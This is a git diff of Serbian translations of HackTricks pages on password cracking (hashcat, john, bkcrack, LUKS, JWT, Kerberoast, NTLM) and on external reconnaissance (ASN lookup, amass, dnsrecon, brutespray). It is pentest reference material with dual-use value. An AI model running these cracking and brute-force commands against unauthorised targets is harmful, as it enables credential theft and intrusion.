@ -498,10 +489,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### Poznati napad na zip sa tekstom #### Napad poznatim otvorenim tekstom na zip
Potrebno je da znate **čisti tekst** (ili deo čistog teksta) **fajla koji se nalazi unutar** enkriptovanog zipa. Možete proveriti **imenа fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zipa pokretanjem komande: **`7z l encrypted.zip`**\ Potrebno je da znate **otvoreni tekst** (ili deo otvorenog teksta) **fajla koji se nalazi unutar** enkriptovanog zip-a. Možete proveriti **imena fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zip-a pokretanjem: **`7z l encrypted.zip`**\
Preuzmite [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice sa izdanjima. Preuzmite [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice za preuzimanje.
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file zip plaintext.zip plaintext.file
@ -533,9 +524,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
``` ```
### Vlasnička lozinka PDF-a ### PDF Owner Password
Da biste probili vlasničku lozinku PDF-a, proverite ovde: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) Da biste probili PDF Owner lozinku, proverite ovo: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT ### JWT
```bash ```bash
@ -549,7 +540,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John john jwt.john #It does not work with Kali-John
``` ```
### NTLM dešifrovanje ### NTLM cracking
```bash ```bash
Format:USUARIO:ID:HASH_LM:HASH_NT::: Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
@ -569,18 +560,18 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
``` ```
### Srećna slika ### Lucks slika
#### Metoda 1 #### Metod 1
Instalacija: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) Instalirajte: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash ```bash
bruteforce-luks -f ./list.txt ./backup.img bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
#### Metoda 2 #### Метод 2
```bash ```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
@ -589,7 +580,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
Još jedan LUKS BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) Još jedan Luks BF tutorijal: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql ### Mysql
```bash ```bash
@ -608,14 +599,14 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### DPAPI Master Key ### DPAPI Master Key
Koristite [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) a zatim john Koristite [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) i zatim john
### Open Office Pwd Protected Column ### Open Office Pwd Protected Column
Ako imate xlsx fajl sa kolonom zaštićenom lozinkom, možete je ukloniti: Ako imate xlsx datoteku sa kolonom zaštićenom lozinkom, možete je otključati:
* **Postavite ga na google drive** i lozinka će automatski biti uklonjena * **Otpremite je na google drive** i lozinka će biti automatski uklonjena
* Za **ručno uklanjanje**: * Da **uklonite** ručno:
```bash ```bash
unzip file.xlsx unzip file.xlsx
grep -R "sheetProtection" ./* grep -R "sheetProtection" ./*
@ -634,8 +625,8 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice na svetu.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@ -643,7 +634,7 @@ Dobijte pristup danas:
**Primeri hešova:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) **Primeri hešova:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Identifikator heša ### Hash-identifier
```bash ```bash
hash-identifier hash-identifier
> <HASH> > <HASH>
@ -655,33 +646,33 @@ hash-identifier
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **Alati za generisanje wordlisti** ### **Alati za generisanje rečnika**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator šetnje tastaturom sa konfigurabilnim baznim karakterima, mapom tastera i rutama. * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator za šetnju tastaturom sa konfigurisanim osnovnim karakterima, rasporedom tastera i rutama.
```bash ```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
``` ```
### Džonova mutacija ### John mutation
Pročitaj _**/etc/john/john.conf**_ i konfiguriši ga Pročitajte _**/etc/john/john.conf**_ i konfigurišite ga
```bash ```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
``` ```
### Hashcat ### Hashcat
#### Napadi Hashcat-a #### Hashcat napadi
* **Napad rečnikom** (`-a 0`) sa pravilima * **Napad rečnika** (`-a 0`) sa pravilima
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). **Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
``` ```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
``` ```
* **Napad kombinatora liste reči** * **Wordlist combinator** napad
Moguće je **kombinovati 2 liste reči u 1** pomoću hashcat-a.\ Moguće je **kombinovati 2 liste reči u 1** pomoću hashcat-a.\
Ako lista 1 sadrži reč **"hello"** a druga sadrži 2 linije sa rečima **"world"** i **"earth"**. Biće generisane reči `helloworld` i `helloearth`. Ako je lista 1 sadržala reč **"hello"** a druga je sadržala 2 reda sa rečima **"world"** i **"earth"**. Reči `helloworld` i `helloearth` će biti generisane.
```bash ```bash
# This will combine 2 wordlists # This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
@ -692,7 +683,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
## hello-earth! ## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
``` ```
* **Mask napad** (`-a 3`) * **Mask attack** (`-a 3`)
```bash ```bash
# Mask attack with simple mask # Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
@ -724,7 +715,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password ## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
``` ```
* Napad rečnikom + maska (`-a 6`) / Maska + rečnik (`-a 7`) napad * Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) напад
```bash ```bash
# Mask numbers will be appended to each word in the wordlist # Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -732,31 +723,23 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist # Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
``` ```
#### Hashcat režimi #### Hashcat modusi
```bash ```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM" hashcat --example-hashes | grep -B1 -A2 "NTLM"
``` ```
### Kucanje Linux heševa - fajl /etc/shadow Razbijanje Linux hešova - /etc/shadow datoteka
``` ```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
``` ```
# Brute Force Razbijanje Windows hešova
## Kako se radi
Brute force napad je tehnika koja se koristi za pokušaj svih mogućih kombinacija šifri ili lozinki kako bi se pronašla tačna lozinka. Kada je reč o Windows lozinkama, brute force napad se može koristiti za pokušaj otkrivanja lozinke koja odgovara Windows hash-u.
## Alati
Postoje razni alati koji se mogu koristiti za izvođenje brute force napada na Windows hash-ovima, kao što su Hashcat, John the Ripper, i drugi. Ovi alati omogućavaju podešavanje različitih parametara napada, kao što su dužina lozinke, karakteri koji se koriste, i druge opcije.
``` ```
3000 | LM | Operating-Systems 3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems 1000 | NTLM | Operating-Systems
``` ```
Razbijanje Čestih Aplikacionih Heševa Razbijanje uobičajenih heš vrednosti aplikacija
``` ```
900 | MD4 | Raw Hash 900 | MD4 | Raw Hash
0 | MD5 | Raw Hash 0 | MD5 | Raw Hash
@ -766,24 +749,25 @@ Razbijanje Čestih Aplikacionih Heševa
1400 | SHA-256 | Raw Hash 1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash 1700 | SHA-512 | Raw Hash
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -1,58 +1,59 @@
# Metodologija spoljnog istraživanja # Metodologija Eksterne Recon
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repozitorijume.**
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje onoga što se ne može hakovati - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Otkriće resursa ## Otkrića imovine
> Rečeno vam je da sve što pripada nekoj kompaniji spada u opseg, i želite da saznate šta ta kompanija zapravo poseduje. > Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje.
Cilj ove faze je da se dobiju svi **resursi koje poseduje glavna kompanija** i zatim svi **resursi** ovih kompanija. Da bismo to postigli, koristićemo sledeće korake: Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće:
1. Pronaći akvizicije glavne kompanije, što će nam dati kompanije u opsegu. 1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
2. Pronaći ASN (ako postoji) svake kompanije, što će nam dati IP opsege koje poseduje svaka kompanija. 2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
3. Koristiti pretrage obrnutog whois-a da bismo pronašli druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno). 3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (ovo se može raditi rekurzivno).
4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo pronašli druge resurse (trič za `ssl` se može raditi rekurzivno). 4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
### **Akvizicije** ### **Akvizicije**
Prvo što treba da znamo je koje **druge kompanije poseduje glavna kompanija**.\ Prvo, treba da znamo koje **druge kompanije poseduje glavna kompanija**.\
Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju, i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je stekla glavna kompanija.\ Jedna opcija je da posetite [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražite** **glavnu kompaniju**, i **kliknite** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\
Druga opcija je posetiti **Vikipedijinu** stranicu glavne kompanije i pretražiti **akvizicije**. Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite **akvizicije**.
> Ok, u ovom trenutku trebalo bi da znate sve kompanije u opsegu. Hajde da saznamo kako da pronađemo njihove resurse. > U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihovu imovinu.
### **ASN-ovi** ### **ASN-ovi**
Autonomni sistemski broj (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\ Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
AS se sastoji od **blokova** IP adresa koji imaju jasno definisanu politiku za pristupanje spoljnim mrežama i upravlja ih jedna organizacija, ali može biti sastavljen od više operatera. **AS** se sastoji od **blokova** **IP adresa** koji imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
Interesantno je saznati da li **kompanija ima dodeljen ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i tražiti **domene** unutar ovih IP-ova.\ Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
Možete **pretraživati** po imenu kompanije, po **IP** adresi ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\ Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Zavisno o regionu kompanije, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su svi** korisni podaci **(IP opsezi i Whois)** već dostupni na prvom linku. **U zavisnosti od regiona kompanije, ovi linkovi bi mogli biti korisni za prikupljanje dodatnih podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su sve** korisne informacije **(IP opsezi i Whois)** već prikazane u prvom linku.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
Takođe, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**-ova** enumeracija poddomena automatski agregira i sumira ASN-ove na kraju skeniranja. Takođe, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** enumeracija poddomena automatski agregira i sumira ASN-ove na kraju skeniranja.
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -74,31 +75,34 @@ Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4in
### **Traženje ranjivosti** ### **Traženje ranjivosti**
U ovom trenutku znamo **sve resurse unutar opsega**, pa ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\ U ovom trenutku znamo **sve resurse unutar opsega**, tako da, ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\
Takođe, možete pokrenuti neke [**skenove portova**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti servise kao što je** shodan **da pronađete** otvorene portove **i, u zavisnosti od onoga što pronađete, trebalo bi da** pogledate u ovoj knjizi kako da pentestirate nekoliko mogućih servisa koji se izvršavaju.\ Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da pronađete** otvorene portove **i u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovoj knjizi kako da pentestujete nekoliko mogućih usluga koje rade.\
**Takođe, vredno je pomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** probijete servise sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). **Takođe, vredi napomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati da** bruteforce-ujete usluge sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeni ## Domeni
> Znamo sve kompanije unutar opsega i njihove resurse, vreme je da pronađemo domene unutar opsega. > Znamo sve kompanije unutar opsega i njihove resurse, vreme je da pronađemo domene unutar opsega.
_Molimo, imajte na umu da u sledećim predloženim tehnikama takođe možete pronaći poddomene i te informacije ne bi trebalo potcenjivati._ _Molimo vas da napomenete da u sledećim predloženim tehnikama možete takođe pronaći poddomene i da te informacije ne bi trebale biti potcenjene._
Prvo biste trebali potražiti **glavni domen(e)** svake kompanije. Na primer, za _Tesla Inc._ biće _tesla.com_. Prvo što treba da uradite je da potražite **glavnu domenu**(e) svake kompanije. Na primer, za _Tesla Inc._ to će biti _tesla.com_.
### **Obrnuti DNS** ### **Obrnuti DNS**
Kada ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute DNS upite** na tim **IP-ovima kako biste pronašli više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki dobro poznati DNS server (1.1.1.1, 8.8.8.8) Pošto ste pronašli sve IP opsege domena, možete pokušati da izvršite **obrnute dns upite** na tim **IP-ovima da pronađete više domena unutar opsega**. Pokušajte da koristite neki DNS server žrtve ili neki poznati DNS server (1.1.1.1, 8.8.8.8)
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
``` ```
### **Obrnuti Whois (petlja)** Za ovo da bi radilo, administrator mora ručno da omogući PTR.\
Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com/](http://ptrarchive.com)
